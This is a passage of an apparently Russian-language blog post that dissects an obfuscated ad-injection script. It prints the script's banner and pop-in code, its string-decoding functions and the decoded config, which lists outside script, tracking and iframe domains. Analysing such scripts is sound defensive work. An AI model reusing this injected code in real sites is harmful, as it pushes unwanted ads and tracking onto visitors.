&gt; parseInt(h.style[B], 10) ? h.style[B] = parseInt(h.style[B], 10) + 20 + &quot;px&quot; : (h.style[B] = &quot;0px&quot;, clearInterval(n), n = s)             }, 20)) : m &gt; a && !q && c()         }          function c(b) {             clearInterval(n);             n = s;             q = setInterval(function () {                 parseInt(h.style[B], 10) &gt; 0 - d.width ? h.style[B] = parseInt(h.style[B], 10) - 20 + &quot;px&quot; : (h.style[B] = 0 - d.width + &quot;px&quot;, clearInterval(q), q = s, b ? d.close(a,                     f) : f.style.display = &quot;none&quot;)             }, 20)         }          this.t(a);         var d = this, e = &quot;wzScroller&quot; + (new Date).getTime(), f = k.createElement(&quot;div&quot;), p = k.createElement(&quot;div&quot;), h = k.createElement(&quot;div&quot;), j = k.documentElement, m = 200, n, q, B, l = &quot;z-index:10000;overflow:hidden;bottom:0;height:100%;width:100%;background:none;&quot;, u = &quot;margin:20px 0 0;position:absolute;top:0;width:100%;height:100%;&quot;, t = &quot;position:absolute;width:100%;height:20px;top:-20px;&quot;;         this.r = a;         switch (a.bannerPosition) {             case 6:                 B = &quot;left&quot;;                 l += &quot;left: 0;&quot;;                 u += &quot;padding:0 30px 5px 5px;background:url(&quot; +                     x.a.scriptsDomain + &quot;img\/bottom_l.png) no-repeat 100% bottom;&quot;;                 t += &quot;right:0;background:url(&quot; + x.a.scriptsDomain + &quot;img\/top_l.png) no-repeat 100% 0;&quot;;                 break;             default:                 B = &quot;right&quot;, l += &quot;right: 0;&quot;, u += &quot;padding:0 5px 5px 30px;background:url(&quot; + x.a.scriptsDomain + &quot;img\/bottom_r.png) no-repeat 0 bottom;&quot;, t += &quot;left:0;background:url(&quot; + x.a.scriptsDomain + &quot;img\/top_r.png) no-repeat 0 0;&quot;         }         this.height = this.width = 0;         h.innerHTML = '\\x3cspan style\\x3d&quot;float: left;font: bold 14px Arial; color: #701C1F;&quot;\\x3e\\u0427\\u0418\\u0422\\u0410\\u0419\\u0422\\u0415 \\u0422\\u0410\\u041a\\u0416\\u0415\\x3c\/span\\x3e\\x3cspan style\\x3d&quot;float: right; font: 12px\/16px Arial; color:#666;cursor: pointer;&quot; id\\x3d&quot;close_' +             e + '&quot;\\x3e\\u0417\\u0430\\u043a\\u0440\\u044b\\u0442\\u044c\\x3c\/span\\x3e\\x3cdiv style\\x3d&quot;clear: both;&quot;\\x3e\\x3c\/div\\x3e';         h.appendChild(p);         p.style.cssText = t;         h.style.cssText = u;         h.id = e;         g.v() ? l += &quot;position:fixed;&quot; : (l += &quot;position:absolute;&quot;, g.aa({F: f}), this.b(r, &quot;scroll&quot;, function () {             g.aa({F: f})         }, T));         f.style.cssText = l;         f.appendChild(h);         this.H(h, a);         k.body.appendChild(f);         f.style.width = a.width + a.widthUnit;         l = f.offsetWidth - 35;         h.style.width = 790 &gt; l ? l + &quot;px&quot; : &quot;755px&quot;;         this.sa(a, e);         f.style.width = this.width + 35 + &quot;px&quot;;         h.style[B] = &quot;-&quot; + this.width +             &quot;px&quot;;         h.style.width = this.width + &quot;px&quot;;         f.style.height = this.height + 70 + &quot;px&quot;;         h.style.height = this.height + 45 + &quot;px&quot;;         p.style.width = f.style.width;         f.style.display = &quot;none&quot;;         this.b(r, &quot;scroll&quot;, function () {             b()         }, T);         this.b(r, &quot;resize&quot;, function () {             b()         }, T);         k.getElementById(&quot;close_&quot; + e).onclick = function () {             c(y)         };         this.wrap = f;         this.data = a;         this.id = e;         return this     };     ga.prototype.sa = function (a, b) {         function c(a, b) {             a.style.cssText = n.I[b];             e.b(a, &quot;mouseover&quot;, function () {                 a.style.cssText = n.P[b];                 &quot;text&quot; == b && n.o([a])             }, T);             e.b(a, &quot;mouseout&quot;, function () {                 a.style.cssText =                     n.I[b];                 n.o([a])             }, T)         }          function d(a, b) {             e.b(a, &quot;mouseover&quot;, function () {                 b.style.cssText = n.P.sPText;                 &quot;TD&quot; == a.tagName && n.o([b])             }, y);             e.b(a, &quot;mouseout&quot;, function () {                 b.style.cssText = n.I.sPText;                 n.o([b])             }, y)         }          var e = this, f = k.createElement(&quot;table&quot;), p = k.getElementById(b), h = k.createElement(&quot;tbody&quot;), j = k.createDocumentFragment(), m = k.createElement(&quot;img&quot;), n = this, q = s, l;         if (!q)switch (q = {}, q.size = parseInt(a.bannerSize, 10) + 2 * parseInt(a.imgBorderWidth, 10), l = q.size + parseInt(a.imgMarginSize, 10), a.orientation) {             case &quot;over&quot;:                 q.margin =                     &quot;0&quot;;                 q.C = &quot;0 0 &quot; + a.imgMarginSize + &quot;px&quot;;                 q.m = &quot;none&quot;;                 q.l = &quot;center&quot;;                 q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize), left: -(a.bannerSizeOnmouseover - a.bannerSize) \/ 2};                 break;             case &quot;left&quot;:                 q.margin = &quot;0 0 0 &quot; + l + &quot;px&quot;;                 q.C = &quot;0 -&quot; + l + &quot;px 0 0&quot;;                 q.m = &quot;left&quot;;                 q.l = &quot;left&quot;;                 q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) \/ 2, left: -(a.bannerSizeOnmouseover - a.bannerSize)};                 break;             case &quot;right&quot;:                 q.margin = &quot;0 &quot; + l + &quot;px 0 0&quot;, q.C = &quot;0 0 0 -&quot; + l + &quot;px&quot;, q.m = &quot;right&quot;, q.l = &quot;left&quot;, q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) \/ 2, left: 0}         }         l = q;         var u = g.Q() ?             &quot;display:inline;zoom:1;&quot; : &quot;display:inline-block;&quot;, t = parseInt(a.textSize, 10), v = t + (parseInt(a.textMouseOnTextSize, 10) - parseInt(a.textSize, 10)), C = t + (parseInt(a.textMouseOnTeaserSize, 10) - parseInt(a.textSize, 10));         this.d = parseInt(a.textDivHeight, 10);         this.I = {table: &quot;margin:5px 0;table-layout:fixed;background:&quot; + a.background + &quot;;border-collapse:separate;border-spacing:&quot; + a.blockMarginVert + &quot;px &quot; + a.blockMarginHoriz + &quot;px;width:100%;border:&quot; + a.borderWidth + &quot;px &quot; + a.borderType + &quot; &quot; + a.borderColor, D: &quot;vertical-align:top;background:&quot; +             a.cellBackground + &quot;;border:&quot; + a.cellBorderWidth + &quot;px &quot; + a.cellBorderType + &quot; &quot; + a.cellBorderColor + &quot;;cursor:pointer;text-align:&quot; + l.l + &quot;;width:&quot; + 100 \/ a.horizCount + &quot;%&quot;, u: &quot;z-index:1;margin:&quot; + l.C + &quot;;position:relative;&quot; + u + &quot;;height:&quot; + l.size + &quot;px;width:&quot; + l.size + &quot;px;float:&quot; + l.m, h: &quot;position:absolute;top:0;left:0;width:&quot; + a.bannerSize + &quot;px;height:&quot; + a.bannerSize + &quot;px;border:&quot; + a.imgBorderWidth + &quot;px &quot; + a.imgBorderType + &quot; &quot; + a.imgBorderColor, text: &quot;margin:&quot; + l.margin + &quot;;cursor:pointer;float:&quot; + l.l + &quot;;height:&quot; + (0 != this.d ? this.d + &quot;px&quot; : &quot;auto&quot;) +             &quot;;text-decoration:&quot; + (&quot;false&quot; != a.textFontUnderline ? &quot;underline&quot; : &quot;none&quot;) + &quot;;display:block;font-weight:&quot; + (&quot;false&quot; != a.textFontBold ? &quot;700&quot; : &quot;100&quot;) + &quot;;font-size:&quot; + t + a.textSizeUnit + &quot;;font-family:&quot; + a.textFont + &quot;;color:&quot; + a.textColor, sPText: &quot;margin:&quot; + l.margin + &quot;;cursor:pointer;float:&quot; + l.l + &quot;;height:&quot; + (0 != this.d ? this.d + &quot;px&quot; : &quot;auto&quot;) + &quot;;text-decoration:&quot; + (&quot;false&quot; != a.textFontUnderline ? &quot;underline&quot; : &quot;none&quot;) + &quot;;display:block;font-weight:&quot; + (&quot;false&quot; != a.textFontBold ? &quot;700&quot; : &quot;100&quot;) + &quot;;font-size:&quot; + t + a.textSizeUnit + &quot;;font-family:&quot; + a.textFont +             &quot;;color:&quot; + a.textColor};         this.P = {table: &quot;margin:5px 0;table-layout:fixed;background:&quot; + a.backgroundOnmouseover + &quot;;border-collapse:separate;border-spacing:&quot; + a.blockMarginVert + &quot;px &quot; + a.blockMarginHoriz + &quot;px;width:100%;border:&quot; + a.borderWidth + &quot;px &quot; + a.borderType + &quot; &quot; + a.borderColor, D: &quot;vertical-align:top;background:&quot; + a.cellBackgroundOnmouseover + &quot;;border:&quot; + a.cellBorderWidth + &quot;px &quot; + a.cellBorderType + &quot; &quot; + a.cellBorderColor + &quot;;cursor:pointer;text-align:&quot; + l.l + &quot;;width:&quot; + 100 \/ a.horizCount + &quot;%&quot;, u: &quot;z-index:5;margin:&quot; + l.C + &quot;;position:relative;&quot; +             u + &quot;;height:&quot; + l.size + &quot;px;width:&quot; + l.size + &quot;px;float:&quot; + l.m, h: &quot;position:absolute;cursor:pointer;top:&quot; + q.A.top + &quot;px;left:&quot; + q.A.left + &quot;px;height:&quot; + a.bannerSizeOnmouseover + &quot;px;width:&quot; + a.bannerSizeOnmouseover + &quot;px;border:&quot; + a.imgBorderWidth + &quot;px &quot; + a.imgBorderType + &quot; &quot; + a.imgBorderColor, text: &quot;margin:&quot; + l.margin + &quot;;cursor:pointer;float:&quot; + l.l + &quot;;height:&quot; + (0 != this.d ? this.d + &quot;px&quot; : &quot;auto&quot;) + &quot;;text-decoration:&quot; + (&quot;false&quot; != a.textMouseOnTextFontUnderline ? &quot;underline&quot; : &quot;none&quot;) + &quot;;display:block;font-weight:&quot; + (&quot;false&quot; != a.textMouseOnTextFontBold ?             &quot;700&quot; : &quot;100&quot;) + &quot;;font-size:&quot; + v + a.textMouseOnTextSizeUnit + &quot;;font-family:&quot; + a.textMouseOnTextFont + &quot;;color:&quot; + a.textMouseOnTextColor, sPText: &quot;margin:&quot; + l.margin + &quot;;cursor:pointer;float:&quot; + l.l + &quot;;height:&quot; + (0 != this.d ? this.d + &quot;px&quot; : &quot;auto&quot;) + &quot;;text-decoration:&quot; + (&quot;false&quot; != a.textMouseOnTeaserFontUnderline ? &quot;underline&quot; : &quot;none&quot;) + &quot;;display:block;font-weight:&quot; + (&quot;false&quot; != a.textMouseOnTeaserFontBold ? &quot;700&quot; : &quot;100&quot;) + &quot;;font-size:&quot; + C + a.textMouseOnTeaserSizeUnit + &quot;;font-family:&quot; + a.textMouseOnTeaserFont + &quot;;color:&quot; + a.textMouseOnTeaserColor};         this.ta = function () {             0 == this.d && (this.d = &quot;over&quot; == a.orientation ? 35 : a.bannerSize)         };         r.globalInfo.arrBlocks = [];         this.data = a;         j.appendChild(f);         c(f, &quot;table&quot;);         for (l = q = 0; l &lt; a.vertCount; l += 1) {             u = k.createElement(&quot;tr&quot;);             for (t = 0; t &lt; a.horizCount; t += 1) {                 var v = {D: k.createElement(&quot;td&quot;), h: k.createElement(&quot;img&quot;), text: k.createElement(&quot;span&quot;), u: k.createElement(&quot;span&quot;)}, C = a.teasers[q], E = k.createElement(&quot;span&quot;), D = k.createElement(&quot;a&quot;);                 q++;                 for (var G in v)c(v[G], G), &quot;td&quot; == G && d(v[G], v.text);                 var H = C.trackingDomain;                 v.h.src = x.a.imgDomain +                     C.src;                 v.h.title = e.B(C.title);                 v.h.alt = e.B(C.title);                 v.h.setAttribute(&quot;clickUri&quot;, C.clickUri);                 g.Q() && (v.h.onclick = function () {                     this.href = H + g.g(this.getAttribute(&quot;clickUri&quot;) + e.G())                 });                 E.innerHTML = e.B(C.title);                 v.text.className = &quot;wzTextSpan&quot;;                 v.text.appendChild(E);                 r.globalInfo.arrBlocks.push(v.text);                 v.u.className = &quot;wzImgSpan&quot;;                 v.u.appendChild(v.h);                 D.target = &quot;_blank&quot;;                 D.href = C.trackingDomain + g.g(C.clickUri);                 D.style.cssText = &quot;text-decoration:none;display:block;&quot;;                 D.setAttribute(&quot;clickUri&quot;, C.clickUri);                 D.onclick = function () {                     this.href =                         H + g.g(this.getAttribute(&quot;clickUri&quot;) + e)                 };                 D.appendChild(v.u);                 D.appendChild(v.text);                 v.D.appendChild(D);                 u.appendChild(v.D)             }             h.appendChild(u);             f.appendChild(h)         }         m.src = a.teasers[0].impDomain + g.g(a.trackShowUri);         m.style.cssText = this.U;         j.appendChild(m);         p.appendChild(j);         this.height = f.offsetHeight;         this.width = f.offsetWidth;         if (&quot;px&quot; != this.data.widthUnit) {             var I = f.offsetWidth;             r.onresize = function () {                 10 &lt; Math.abs(I - f.offsetWidth) && (n.o(), width = I = f.offsetWidth)             }         }     };     E(Za, ga);     Za.prototype.p = function (a) {         var b = this, c = &quot;wzPopin&quot; +             (new Date).getTime(), d = document.createElement(&quot;div&quot;), e = document.createElement(&quot;div&quot;), f = document.createElement(&quot;span&quot;), k, h, j = &quot;z-index:9999;overflow:hidden;height:0;width:100%;background:none;&quot;, l = &quot;background:#fff;position:absolute;&quot;, m = &quot;100&quot; == a.height && &quot;%&quot; == a.heightUnit;         if (m)switch (a.bannerPosition) {             case 0:             case 6:                 a.bannerPosition = 3;                 break;             case 2:             case 8:                 a.bannerPosition = 5         }         switch (a.bannerPosition) {             case 0:                 k = &quot;bottom&quot;;                 j += &quot;top:0;left:0;&quot;;                 l += &quot;margin: 0 0 20px;bottom:0;left:0;right:0;&quot;;                 h = &quot;bottom&quot;;                 break;             case 2:                 k =                     &quot;bottom&quot;;                 j += &quot;top:0;right:0;&quot;;                 l += &quot;margin: 0 0 20px;bottom:0;left:0;&quot;;                 h = &quot;bottom&quot;;                 break;             case 3:                 k = &quot;right&quot;;                 j += &quot;top:0;left:0;&quot;;                 l += &quot;margin: 20px 0 0;bottom:0;top:0;right:0;&quot;;                 h = &quot;top&quot;;                 break;             case 5:                 k = &quot;left&quot;;                 j += &quot;top:0;right:0;&quot;;                 l += &quot;margin: 20px 0 0;bottom:0;top:0;left:0;right:0;&quot;;                 h = &quot;top&quot;;                 break;             case 6:                 k = &quot;top&quot;;                 j += &quot;bottom:0;left:0;&quot;;                 l += &quot;margin: 20px 0 0;top:0;left:0;right:0;&quot;;                 h = &quot;top&quot;;                 break;             default:                 k = &quot;top&quot;, j += &quot;bottom:0;right:0;&quot;, l += &quot;margin: 20px 0 0;bottom:0;top:0;left:0;right:0;&quot;, h = &quot;top&quot;         }         this.width = this.height =             0;         e.style.cssText = l;         e.id = c;         g.v() ? j += &quot;position:fixed;&quot; : (j += &quot;position:absolute;&quot;, g.aa({F: d}), r.onscroll = function () {             g.aa({F: d})         });         d.style.cssText = j;         d.appendChild(e);         f.style.cssText = &quot;position: absolute; &quot; + h + &quot;: -17px; right: 10px;font: 12px\/17px Arial; color:#666;cursor: pointer;&quot;;         f.innerHTML = &quot;\\u0417\\u0430\\u043a\\u0440\\u044b\\u0442\\u044c&quot;;         setTimeout(function () {             e.appendChild(f)         }, 5E3);         this.H(e, a);         document.body.appendChild(d);         d.style.width = a.width + a.widthUnit;         e.style.width = d.offsetWidth - 0 + &quot;px&quot;;         this.sa(a, c);         m ? (d.style.height = &quot;100%&quot;, e.style[k] = d.offsetWidth + &quot;px&quot;, e.style.height = &quot;100%&quot;) : (d.style.height = this.height + 20 + &quot;px&quot;, e.style[k] = d.style.height, e.style.height = this.height + &quot;px&quot;);         e.style.width = this.width + &quot;px&quot;;         this.o();         f.onclick = function () {             b.close(a, d)         };         setTimeout(function () {             var a = setInterval(function () {                 0 &lt; parseInt(e.style[k], 10) ? e.style[k] = parseInt(e.style[k], 10) - 10 + &quot;px&quot; : (e.style[k] = 0, clearInterval(a))             }, 20)         }, 1E3);         this.wrap = d;         this.data = a;         this.id = c;         return this     };     var Eb = new xa, Fb = new Ta, Gb = new Ua, Hb = new Va,         Ib = new ca, Jb = new Wa, Kb = new ya, Lb = new Xa, Mb = new da, Nb = new ga, Ob = new Za, Pb = new Ya, g = new sb, x = new rb(xb) })(window, document, &quot;eyJ2ZXJzaW9ucyI6eyJtcm90IjoiMTM4MTQ3OTUxMzA5NSIsImRpcmVjdCI6IjEzODE0Nzk1MTMwOTUiLCJzY3IiOiIxLzIyLmpzPzI0Iiwicm90IjoiMS8zLmpzPzI0IiwidGwiOiIxLzEyLmpzPzI0IiwiY29tbW9uIjoiMS8xLmpzPzI0IiwibXBwdW5kIjoiMTM4MTQ3OTUxMzA5NSIsImFzIjoiMS8yLmpzPzI0IiwiaWNxIjoiMTM4MTQ3OTUxMzA5NSIsImJyIjoiMS8xMS5qcz8yNCIsInZrbSI6IjEvMjEuanM_MjQiLCJ0c3IiOiIxLzE4LmpzPzI0IiwicGQiOiIxMzgxNDc5NTEzMDk1IiwicHB1bmQiOiIxMzgxNDc5NTEzMDk1Iiwic2dtIjoiMTM4MTQ3OTUxMzA5NSIsInBpbiI6IjEvMjMuanM_MjQiLCJqc2ZyIjoiMTM4MTQ3OTUxMzA5NSIsInBvcHVwIjoiMS80LmpzPzI0IiwibWRpcmVjdCI6IjEzODE0Nzk1MTMwOTUiLCJmciI6IjEzODE0Nzk1MTMwOTUiLCJ3YmwiOiIxMzgxNDc5NTEzMDk1IiwiZW0iOiIxMzgxNDc5NTEzMDk1IiwiY2YiOiIxLzE1LmpzPzI0In0sInNjcmlwdHNEb21haW4iOiJodHRwOi8vMTg4LjY0LjE3NC4yNS9qcy8iLCJydFVyaSI6Ii8_dD1ycnQmYmxvY2tpZHM9MVx1MDAxOCZ0cnNLZXk9NjAyMjgmdWlkPWI3ZWUxMTcwLTMyNGQtMTFlMy1iNGM0LTAwMjU5MDY4YTkyZCIsInVrRG9tYWluIjoiaHR0cDovL3NlYS53YXZldmlldy5pbmZvL3VrLyIsInVrVXJpIjoidD1zeW5jJnV1aWQ9YjdlZTExNzAtMzI0ZC0xMWUzLWI0YzQtMDAyNTkwNjhhOTJkJnJkPTE4OC42NC4xNzQuMjUiLCJyb3RhdG9yRG9tYWluIjoiaHR0cDovLzE4OC42NC4xNzQuMjUiLCJpbWdEb21haW4iOiJodHRwOi8vc2xkLk5FWFQtRkVXLklORk8iLCJ0cnNLZXkiOiI2MDIyOCIsImZvcmVpZ25VaWQiOm51bGwsIm1hdGNoaW5nVXJsIjpudWxsLCJkb250R29Ub1VLIjpudWxsLCJhclVpZCI6bnVsbCwiYWZyYW1lVXJsIjoiaHR0cDovL2V4aXN0LmJ1aWx0LWRyeS5pbmZvLzMuaHRtbCAifQ&quot;); <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u0421\u043a\u0440\u0438\u043f\u0442 \u043e\u0431\u0435\u0440\u043d\u0443\u0442 \u0432 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u0432 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430: window, document \u0438 \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e \u0438 \u0435\u0441\u0442\u044c \u0447\u0435\u043c-\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c, \u0447\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u041f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u043e\u043d \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 xb. Find Usages \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443:  <\/p>\n<pre><code class=\"javascript\">x = new rb(xb); <\/code><\/pre>\n<p>  \u042d\u0442\u043e \u0431\u044b\u043b\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u043a\u043e\u0434\u0435. \u041f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u043c \u0432 rb, \u0447\u0442\u043e \u0436\u0435 \u043c\u044b \u0442\u0430\u043c \u0443\u0432\u0438\u0434\u0438\u043c?  <\/p>\n<pre><code class=\"javascript\">    function rb(a) {         this.a = g.parseJSON(g.L(a));         r.globalInfo = {};         g.log(this.a);         if (this.a.ukDomain && this.a.ukUri && !r.udata && !this.a.dontGoToUK) {             var b = this, c = setTimeout(function () {                 b.oa()             }, 5E3);             g.da(this.a.ukDomain, this.a.ukUri, function (a) {                 clearTimeout(c);                 g.parseJSON(g.L(a));                 r.globalInfo.udata = a;                 b.oa()             }, &quot;jsf&quot;)         } else this.a.foreignUid || this.Ba(this.a.matchingUrl), this.oa()     } <\/code><\/pre>\n<p>  \u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0444-\u0446\u0438\u044f parseJSON, \u043d\u043e \u043f\u0435\u0440\u0435\u0434 \u044d\u0442\u0438\u043c \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0435\u0449\u0435 \u043a\u0430\u043a\u0443\u044e-\u0442\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443. \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e L().  <\/p>\n<pre><code class=\"javascript\">L: function (a, b) {             a = a.replace(\/[\\-]\/g, &quot;+&quot;).replace(\/[_]\/g, &quot;\/&quot;);             for (var c = [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 0, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1], d, e, f = 0, g = [], h = 0, j = 0, f = 0; f &lt; a.length; f++)e =                 a.charCodeAt(f), d = c[e & 127], -1 === d ? this.log(&quot;Illegal characters (code\\x3d&quot; + e + &quot;) in position &quot; + f) : (j = j &lt;&lt; 6 | d, h += 6, 8 &lt;= h && (h -= 8, &quot;\\x3d&quot; !== a.charAt(f) && g.push(j &gt;&gt; h & 255), j &= (1 &lt;&lt; h) - 1));             if (b) {                 c = [];                 b &= 255;                 for (d = 0; d &lt; g.length; c.push(b ^ g[d]), d++);                 g = c             }             return this.lb(g) <\/code><\/pre>\n<p>  \u0412\u043e\u0442 \u044d\u0442\u043e \u0443\u0436\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u0435\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u043f\u0435\u0440\u0435\u0434 \u044d\u0442\u0438\u043c \u0432\u044b\u0437\u0432\u0430\u0432 \u0435\u0449\u0435 \u0440\u0430\u0437 \u043a\u0430\u043a\u0443\u044e-\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044e lb(). \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0432 \u043d\u0435\u0435:  <\/p>\n<pre><code class=\"javascript\">lb: function (a) {             for (var b = [], c = 0, d = a.length, e, f, g; c &lt; d;)e = a[c], f = a[c + 1], g = a[c + 2], 128 &gt; e ? (b.push(String.fromCharCode(e)), c += 1) : 191 &lt; e && 224 &gt; e ? (b.push(String.fromCharCode((e & 31) &lt;&lt; 6 | f & 63)), c += 2) : (b.push(String.fromCharCode((e & 15) &lt;&lt; 12 | (f & 63) &lt;&lt; 6 | g & 63)), c +=                 3);             return b.join(&quot;&quot;) <\/code><\/pre>\n<p>  \u0410 \u0432\u043e\u0442 \u044d\u0442\u043e \u0443\u0436\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e. \u042d\u0442\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0442\u0440\u0435\u0442\u044c\u0435\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0430\u0448\u0435\u0433\u043e xb. \u0417\u043d\u0430\u0447\u0438\u0442 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 x \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0447\u0438\u0441\u0442\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442:  <\/p>\n<pre><code class=\"javascript\">x = new rb(xb) <\/code><\/pre>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0436\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0447\u0442\u043e \u0434\u0430 \u043a\u0430\u043a \u0432 \u043d\u0435\u043c. \u041a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0432\u0441\u0435 \u0442\u0435\u043b\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0432 FireBug \u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443:  <\/p>\n<pre><code class=\"javascript\">x = new rb(xb); console.debug(x); <\/code><\/pre>\n<p>  \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0438 \u0432\u0438\u0434\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014 \u0447\u0438\u0441\u0442\u044b\u0439 JSON \u044d\u0442\u043e\u0433\u043e \u0437\u043b\u043e\u0432\u0435\u0449\u0435\u0433\u043e \u0442\u0440\u0435\u0442\u044c\u0435\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430:  <\/p>\n<pre><code class=\"javascript\">{     &quot;versions&quot;:{         &quot;mrot&quot;:&quot;1381475413099&quot;,         &quot;direct&quot;:&quot;1381475413099&quot;,         &quot;scr&quot;:&quot;1\/22.js?24&quot;,         &quot;rot&quot;:&quot;1\/3.js?24&quot;,         &quot;tl&quot;:&quot;1\/12.js?24&quot;,         &quot;common&quot;:&quot;1\/1.js?24&quot;,         &quot;mppund&quot;:&quot;1381475413099&quot;,         &quot;as&quot;:&quot;1\/2.js?24&quot;,         &quot;icq&quot;:&quot;1381475413099&quot;,         &quot;br&quot;:&quot;1\/11.js?24&quot;,         &quot;vkm&quot;:&quot;1\/21.js?24&quot;,         &quot;tsr&quot;:&quot;1\/18.js?24&quot;,         &quot;pd&quot;:&quot;1381475413099&quot;,         &quot;ppund&quot;:&quot;1381475413099&quot;,         &quot;sgm&quot;:&quot;1381475413099&quot;,         &quot;pin&quot;:&quot;1\/23.js?24&quot;,         &quot;jsfr&quot;:&quot;1381475413099&quot;,         &quot;popup&quot;:&quot;1\/4.js?24&quot;,         &quot;mdirect&quot;:&quot;1381475413099&quot;,         &quot;fr&quot;:&quot;1381475413099&quot;,         &quot;wbl&quot;:&quot;1381475413099&quot;,         &quot;em&quot;:&quot;1381475413099&quot;,         &quot;cf&quot;:&quot;1\/15.js?24&quot;     },     &quot;scriptsDomain&quot;:&quot;http:\/\/28310.mytop.pp.ua\/js\/&quot;,     &quot;rtUri&quot;:&quot;\/?t=rrt&blockids=123154&trsKey=60228&uid=2c2453b0-3244-11e3-9426-00259067db69&quot;,     &quot;ukDomain&quot;:&quot;http:\/\/sea.waveview.info\/uk\/&quot;,     &quot;ukUri&quot;:&quot;t=sync&uuid=2c2453b0-3244-11e3-9426-00259067db69&rd=28310.mytop.pp.ua&quot;,     &quot;rotatorDomain&quot;:&quot;http:\/\/28310.mytop.pp.ua&quot;,     &quot;imgDomain&quot;:&quot;http:\/\/sld.NEXT-FEW.INFO&quot;,     &quot;trsKey&quot;:&quot;60228&quot;,     &quot;foreignUid&quot;:null,     &quot;matchingUrl&quot;:null,     &quot;dontGoToUK&quot;:null,     &quot;arUid&quot;:null,     &quot;aframeUrl&quot;:&quot;http:\/\/exist.built-dry.info\/3.html &quot; } <\/code><\/pre>\n<p>  \u0412 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 \u044d\u0442\u043e\u0433\u043e JSON \u0443\u043a\u0430\u0437\u0430\u043d\u044b URL-\u044b, \u043f\u043e 